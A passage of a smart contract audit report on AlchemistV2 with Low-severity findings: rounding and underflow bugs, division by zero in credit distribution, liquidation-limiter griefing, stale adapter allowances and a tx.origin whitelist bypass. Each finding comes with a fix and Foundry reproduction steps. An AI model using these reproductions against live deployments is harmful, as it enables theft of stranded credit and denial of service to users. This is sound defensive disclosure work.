        ad.setPrice(0.995e18); // 50 bps loss, tolerated
        vm.prank(alice, alice);
        alch.withdraw(address(y), 600e18, alice); // withdraw() has no loss check

        // Bob's position has still lost only 50 bps; his liquidation and unwrap must still work.
        vm.startPrank(bob, bob);
        alch.liquidate(address(y), 10e18, 0);
        alch.withdrawUnderlying(address(y), 1e18, bob, 0);
        vm.stopPrank();
    }
}
```

### 5. Low: repay() rounds the repayable debt down to whole underlying units: dust debt cannot be repaid, blocks a full exit, and a repay of dust succeeds without doing anything

`src/AlchemistV2.sol:786`

```
uint256 maximumAmount = normalizeDebtTokensToUnderlying(underlyingToken, uint256(debt));
```

Merged from three specialist reports (economics ab4308da, math 5b05ee4c, flow a1dd957c). repay() caps the payment at normalizeDebtTokensToUnderlying(debt), which truncates by conversionFactor (1e12 for a 6-decimal underlying against an 18-decimal debt token), and credits actualAmount * conversionFactor. A debt that is not a multiple of conversionFactor, the normal case once credit has accrued per share, leaves up to conversionFactor - 1 wei that repay() cannot clear. With that remainder, _validate() reverts the withdrawal of the account's last collateral (totalValue 0 against debt > 0) and liquidate() reverts IllegalState because the debt converts to zero shares. When the debt is below conversionFactor, maximumAmount is 0: repay() transfers 0 tokens, calls transmuter.onERC20Received(token, 0), emits Repay with zero amounts and returns 0. The comment above this line says a no-op is not possible past this point; it is. The account can still be closed by obtaining a few wei of debt tokens and calling burn(), so no funds are lost. Fix: round the cap up when the debt is not a multiple of conversionFactor and set credit = min(actualAmount * conversionFactor, debt) (the payer overpays by less than one unit of the underlying), and revert when actualAmount is 0, as liquidate() does for amountUnderlyingTokens.

**Reproduction**

Run by the judge in a scratch Foundry test. State: 6-decimal underlying (conversionFactor 1e12), 18-decimal yield and debt tokens, price 1e6, minimumCollateralization 2e18. Alice deposits 1000e18 yield tokens and mints 100e18 + 1. Input: repay(underlying, type(uint256).max, alice), then withdraw(yieldToken, allShares, alice). Expected: debt 0 and the withdrawal succeeds. Actual: repay takes 100e6 and accounts(alice).debt = 1; withdraw reverts Undercollateralized(); liquidate(yieldToken, allShares, 0) reverts IllegalState(); a second repay(underlying, 1e6, alice) succeeds, returns 0, moves no tokens and leaves the debt at 1. Only after burn(1, alice) does the full withdrawal succeed.

### 6. Low: The last holder of a yield token cannot withdraw all shares after a gain: _preemptivelyHarvest rounds down and _sync underflows by 1 wei

`src/AlchemistV2.sol:1043`

```
uint256 harvestable = convertUnderlyingTokensToYield(yieldToken, currentValue - expectedValue);
```

Merged from two specialist reports (economics d857311b, flow 5206595e). _preemptivelyHarvest() moves floor((currentValue - expectedValue) * 10^decimals / price) yield tokens out of the active balance. Because that amount is rounded down, the remaining active balance can be worth 1 wei more than expectedValue. When one account holds all shares and burns them, amountYieldTokens is the whole active balance and _sync() (line 1260) computes expectedValue - convertYieldTokensToUnderlying(activeBalance), which underflows and reverts with Panic(0x11). withdraw, withdrawFrom, withdrawUnderlying, withdrawUnderlyingFrom and liquidate all reach that subtraction. Impact: the sole or final depositor of a market gets an arithmetic panic on a full exit and has to leave 1-2 wei of shares behind; integrations that exit with the full share balance revert. No funds are lost. It is not rare: it also occurred in the judge's run with one holder of 100e18 shares, price 1e18 -> 1.1e18, harvest, then price 1.15e18 and a full withdrawal (Panic(0x11); two shares fewer succeeds). Fix: clamp the expectedValue subtraction at zero, or set expectedValue to 0 when the active balance reaches 0. The pro-rata reduction proposed for the loss finding removes it too (both cases below succeed on the patched copy).

**Reproduction**

Run by the judge in a scratch Foundry test, 18-decimal tokens, price 1e18. Case A: Alice deposits 1000e18 and is the only holder; price becomes 1203703703673703701; withdraw(yieldToken, 1000e18, alice). Expected: she receives her active balance. Actual: revert Panic(0x11); withdraw of 1000e18 - 2 shares succeeds in the same state. Case B: Alice deposits 1e18 + 4 wei; price becomes 1.5e18 (harvestable 333333333333333334, active balance 666666666666666670 worth 1000000000000000005 > expectedValue 1000000000000000004); withdraw of all 1000000000000000004 shares reverts Panic(0x11); 1000000000000000003 shares succeeds.

### 7. Low: Credit distribution divides by totalShares: harvest() panics once every depositor has left, and the next depositor, however small, collects all stranded credit

`src/AlchemistV2.sol:1297`

```
yieldTokenParams.accruedWeight += unlockedCredit * FIXED_POINT_SCALAR / yieldTokenParams.totalShares;
```

From the math specialist (ed935d57), reproduced with different numbers. _distributeCredit (called by harvest) and _distributeUnlockedCredit (line 1327) compute unlockedCredit * FIXED_POINT_SCALAR / totalShares with no guard for totalShares == 0. Credit unlocks over creditUnlockBlocks and a depositor can withdraw every share while part of it is still locked; yield buffered by that withdrawal also stays in harvestableBalance. From then on harvest() reverts with Panic(0x12) until someone deposits, so buffered yield cannot be realised, and donate() fails the same way (line 915, shares == 0). When anyone deposits, the first-deposit path does not distribute (see the high finding), and all remaining credit is then spread over that depositor's shares alone: a deposit of a few wei receives the whole stranded credit as negative debt and can mint it. The underlying for that credit already went to the transmuter, so the protocol is not made insolvent; the credit goes to an arbitrary dust depositor and harvest is blocked in the meantime. Fix: when totalShares == 0, do not add to accruedWeight in _distributeCredit and _distributeUnlockedCredit; keep the credit pending until shares exist, or route it to the transmuter. Require shares > 0 in donate().

**Reproduction**

Run by the judge in a scratch Foundry test. State: creditUnlockBlocks 10, protocolFee 1000 bps, 18-decimal tokens. Alice deposits 100e18 at price 1e18. Price 1.25e18, keeper harvest(yieldToken, 0): 22.5e18 credit pending. Roll 1 block, price 1.5625e18, Alice withdraw(yieldToken, 100e18, alice): totalShares = 0, 16e18 yield tokens sit in harvestableBalance, Alice has realised 2.25e18 credit. Roll 1 block. Input: harvest(yieldToken, 0). Expected: success. Actual: revert Panic(0x12) division by zero. Continuing: Bob deposits 1e6 wei of the yield token, 20 blocks pass, poke(bob). Expected: Bob is owed nothing for blocks in which he held nothing. Actual: accounts(bob).debt = -20250000000000000000 and mint(20.25e18, bob) succeeds against 1e6 wei of collateral.

### 8. Low: Lengthening creditUnlockBlocks during a distribution underflows _calculateUnlockedCredit and freezes every account that holds the yield token

`src/AlchemistV2.sol:474`

```
_yieldTokens[yieldToken].creditUnlockRate = FIXED_POINT_SCALAR / blocks;
```

From the math specialist (e2540138), reproduced. configureCreditUnlockRate overwrites creditUnlockRate without re-basing the running distribution: pendingCredit, distributedCredit and lastDistributionBlock stay as they were. _calculateUnlockedCredit (lines 1624-1627) then applies the new, smaller rate to the whole elapsed period, so pendingCredit * percentUnlocked / 1e18 can be less than the credit already distributed at the old rate, and the checked subtraction panics with 0x11. Every path through it reverts for that token: deposit by an existing holder, withdraw, withdrawUnderlying, mint, burn, repay, liquidate, poke and harvest, for any account that has the token in depositedTokens whichever token it is acting on. It lasts until elapsedBlocks * newRate * pendingCredit / 1e18 catches up with distributedCredit. During that time those users can neither repay, add collateral nor exit. It is triggered by an ordinary admin change, not a malicious one; by the same arithmetic, restoring the previous value ends it (inferred, not run). Fix: in configureCreditUnlockRate, first distribute what is unlocked and re-base the distribution (pendingCredit = locked remainder, distributedCredit = 0, lastDistributionBlock = block.number, as _distributeCredit(yieldToken, 0) does), then change the rate.

**Reproduction**

Run by the judge in a scratch Foundry test. State: creditUnlockBlocks 100, protocolFee 1000 bps. Alice deposits 100e18 at price 1e18; price 1.1e18; keeper harvest(yieldToken, 0) creates 9e18 pending credit. Roll 50 blocks, poke(alice) distributes 4.5e18. Input: admin configureCreditUnlockRate(yieldToken, 1000); then Alice withdraw(yieldToken, allShares, alice). Expected: the withdrawal succeeds. Actual: revert Panic(0x11) (9e18 * 50 * 1e15 / 1e18 = 0.45e18, minus 4.5e18). mint(1e18, alice), poke(alice) and, after a further price rise, harvest(yieldToken, 0) revert the same way. poke still reverts 449 blocks later and succeeds at 450 blocks.

### 9. Low: One account can empty the shared liquidation limiter for free and block every other liquidation of that underlying token

`src/AlchemistV2.sol:868`

```
if (amountUnderlyingTokens > liquidationLimit) {
```

From the economics specialist (629c108a), reproduced. _liquidationLimiters[underlyingToken] is one bucket shared by all accounts and all yield tokens of that underlying, and a request above what remains reverts instead of being filled in part. Self-liquidation at par is value neutral for the caller (collateral is exchanged for debt reduction, and they can deposit and mint again), so one large account can empty the bucket for gas. Until it refills (up to MAX_COOLDOWN_BLOCKS = 7200 blocks for a full refill) every other account's liquidate() on any yield token of that underlying reverts LiquidationLimitExceeded. The repay limiter (line 795) has the same shape, with the cost of acquiring the underlying. Impact: temporary denial of the collateral-to-debt path for other users. They can still burn() or repay(), nothing liquidates them by force, and no funds are lost. A global throttle on flow into the transmuter is intended; what is reported here is that it has no partial fill and no per-account share. Either change is a design decision for the requester: fill up to the remaining limit instead of reverting, and/or bound what one account may take per period.

**Reproduction**

Run by the judge in a scratch Foundry test. State: liquidationLimitMaximum 100e18 over 300 blocks, price 1e18, 18-decimal tokens. Alice and Bob each deposit 1000e18 yield tokens and mint 100e18. Input, same block: Alice liquidate(yieldToken, 100e18, 0); then Bob liquidate(yieldToken, 50e18, 0). Expected: Bob can liquidate part of his own healthy position. Actual: Bob's call reverts LiquidationLimitExceeded(underlying, 50e18, 0).

### 10. Low: setTokenAdapter leaves the replaced adapter with unlimited allowances over collateral and accepts an adapter for a different underlying token

`src/AlchemistV2.sol:483`

```
_yieldTokens[yieldToken].adapter = adapter;
```

From the flow specialist (a4b6674c), reproduced. Admin-only; a hardening gap in swapping the unwrap dependency, not a permission bypass. (1) The new adapter is approved for type(uint256).max on the yield token and its underlying (lines 484-485), but the allowances given to the previous adapter in addYieldToken or an earlier setTokenAdapter are never reset. An adapter is usually replaced because it is faulty or its dependency changed, and it keeps the right to transferFrom the Alchemist's whole yield-token balance. (2) Only adapter.token() is checked (line 481). adapter.underlyingToken() is not compared with _yieldTokens[yieldToken].underlyingToken, which stays as it was, so with a mismatching adapter liquidate() and harvest() unwrap into token B and then transfer the same amount of the registered token A from the Alchemist's own balance: they revert, or pay out any stray A balance, and collateral is valued with a price in the wrong unit. Fix: approve 0 to the old adapter for both tokens before switching, and require ITokenAdapter(adapter).underlyingToken() == _yieldTokens[yieldToken].underlyingToken.

**Reproduction**

Run by the judge in a scratch Foundry test. State: yield token Y registered with adapter A1 (underlying U, 18 decimals). Input: admin setTokenAdapter(Y, A2), where A2.token() == Y and A2.underlyingToken() is a different 6-decimal token. Expected: revert on the underlying mismatch, and after a valid swap Y.allowance(alchemist, A1) == 0. Actual: the call succeeds; Y.allowance(alchemist, A1) and U.allowance(alchemist, A1) are both still 2^256-1; getYieldTokenParameters(Y).adapter is A2 while .underlyingToken is still U.

### 11. Low: _onlyWhitelisted treats tx.origin == msg.sender as 'not a contract', which an origin address that runs code (EIP-7702 delegation) satisfies

`src/AlchemistV2.sol:1734`

```
if (tx.origin == msg.sender) {
```

From the permissions specialist (34781a1b), reproduced in simulation. Every user entry point (deposit, mint, repay, liquidate, withdraw*, donate, poke) relies on _onlyWhitelisted to keep non-whitelisted contract logic out, for example atomic manipulate-and-liquidate flows. Since EIP-7702 an EOA can delegate to contract code and run it as itself; when that code calls the Alchemist, tx.origin == msg.sender and the whitelist is skipped. The comment above the check already says this may break; it now can, so the whitelist no longer enforces what it was meant to. On its own nothing is lost; it removes a barrier in front of the liquidate finding, where one transaction can then move the unwrap venue, liquidate with minimumAmountOut = 0 and unwind. Fix: do not rely on tx.origin. Either require whitelisting for every caller, or keep the EOA exemption only when msg.sender.code.length == 0 as well (a delegated EOA carries the 0xef0100 designator as code).

**Reproduction**

Run by the judge in a scratch Foundry test; it reproduces the check's behaviour for a code-bearing origin, not a real 7702 transaction (the project pins solc 0.8.13). State: whitelist.isWhitelisted returns false for everyone. Control: contract C, called from the test, calls deposit(yieldToken, 100e18, C): reverts Unauthorized(). Input: the same runtime code is placed at address E (vm.etch) and E.run() is called with msg.sender == tx.origin == E (vm.prank(E, E)); E's code calls deposit(yieldToken, 100e18, E), mint(25e18, E) and liquidate(yieldToken, 12.5e18, 0). Expected: Unauthorized(), since contract code that is not whitelisted is executing. Actual: all three calls succeed and accounts(E).debt > 0.

---

Judge's submission `7028acbcaed61073378926daa1446b3ecc26da241bb9330b75851c55e609fca9`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
